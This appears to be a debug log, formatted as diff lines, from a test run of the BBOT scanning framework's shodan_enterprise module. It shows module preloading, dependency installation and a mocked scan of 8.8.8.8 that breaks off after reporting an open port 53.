[DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 16:56:21,139 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 16:56:21,140 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 16:56:21,141 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 16:56:21,141 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 16:56:21,142 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 16:56:21,142 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 16:56:21,143 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 16:56:21,144 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 16:56:21,144 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 16:56:21,145 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 16:56:21,145 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 16:56:21,146 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 16:56:21,147 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 16:56:21,148 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 16:56:21,149 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 16:56:21,149 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 16:56:21,150 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 16:56:21,150 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 16:56:21,151 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 16:56:21,152 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 16:56:21,152 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 16:56:21,153 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 16:56:21,153 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 16:56:21,154 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 16:56:21,154 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 16:56:21,156 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 16:56:21,156 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 16:56:21,157 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 16:56:21,157 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 16:56:21,158 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 16:56:21,158 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 16:56:21,159 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 16:56:21,160 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 16:56:21,160 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 16:56:21,161 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 16:56:21,162 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 16:56:21,162 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 16:56:21,163 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 16:56:21,164 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 16:56:21,164 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 16:56:21,165 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 16:56:21,165 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:56:21,166 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:56:21,166 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:56:21,167 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:56:21,168 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:56:21,168 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:56:21,169 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:56:21,169 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:56:21,170 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:56:21,170 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:56:21,171 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:56:21,171 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:56:21,172 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:56:21,173 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:56:21,173 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:56:21,175 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:56:21,175 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:56:21,178 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:56:21,179 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:56:21,180 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:56:21,181 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:56:21,182 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:56:21,182 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:56:21,184 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:56:21,184 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:56:21,185 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:56:21,185 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:56:21,186 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:56:21,186 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:56:21,187 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:56:21,187 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:56:21,188 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 16:56:21,189 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:56:21,189 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:56:21,190 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:56:21,191 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:56:21,191 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:56:21,192 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:56:21,192 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:56:21,193 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:56:21,194 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:56:21,195 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:56:21,196 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:56:21,196 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:56:21,197 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:56:21,198 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:56:21,199 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:56:21,199 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:56:21,200 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:56:21,201 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:56:21,202 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:56:21,203 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:56:21,204 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:56:21,204 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:56:21,205 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:56:21,206 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:56:21,207 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:56:21,208 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:56:21,209 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:56:21,209 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:56:21,210 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:56:21,211 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:56:21,212 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:56:22,337 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:56:22,337 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:56:22,338 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:56:22,475 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:56:23,048 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:56:23,048 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:56:23,049 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:56:23,049 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:56:23,259 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:56:23,260 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:56:23,370 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:56:23,370 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:56:23,427 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:56:23,430 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:56:23,430 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:56:23,861 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:56:23,861 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:56:36,188 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:56:36,189 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:56:36,189 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:56:38,013 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:56:38,014 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:56:38,019 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:56:38,020 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:56:38,020 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:56:38,020 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:56:38,020 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:56:38,020 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:56:38,021 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:56:38,021 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:56:38,021 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:56:38,022 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:56:38,026 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/3xqe0fzcnefbkoi4cn2p +2026-03-01 16:56:38,793 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:56:38,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:56:38,795 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:56:38,914 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:56:38,915 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:56:38,915 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:56:38,916 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:56:38,917 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:56:38,917 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:56:38,917 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:56:38,918 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:56:38,919 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:56:38,919 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:56:38,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:56:38,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:56:38,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:56:38,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:56:38,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:56:38,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:56:38,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:56:38,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:56:38,921 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:56:38,921 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:56:38,921 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:56:38,922 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:56:38,922 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:56:38,922 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:56:38,922 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:56:38,922 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:56:38,922 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:56:38,923 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:56:38,923 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:56:38,923 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:56:38,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:56:38,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:56:38,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:56:38,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:56:38,924 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:56:38,925 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:56:38,925 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:56:38,925 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:56:38,925 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:56:38,925 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:56:38,926 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:56:38,926 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:56:38,926 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:56:38,926 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:56:38,927 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:56:39,064 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_w46nsplara +2026-03-01 16:56:39,064 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:56:39,170 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:56:39,170 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:56:39,170 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:56:39,172 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-03-01 16:56:39,271 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check +2026-03-01 16:56:39,272 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-03-01 16:56:39,274 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target +2026-03-01 16:56:39,274 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 16:56:39,276 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:56:39,276 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:56:39,277 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-03-01 16:56:39,277 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 16:56:39,279 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:56:39,280 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:56:39,281 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:56:39,283 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:56:39,283 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:56:39,285 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:56:39,286 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:56:39,289 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 16:56:39,290 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-03-01 16:56:39,290 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 16:56:39,291 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 16:56:39,291 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded +2026-03-01 16:56:39,292 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded +2026-03-01 16:56:39,292 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET +2026-03-01 16:56:39,292 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-03-01 16:56:39,293 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 16:56:39,383 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 16:56:39,384 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:56:39,385 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:56:39,385 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET +2026-03-01 16:56:39,385 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-03-01 16:56:39,386 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,388 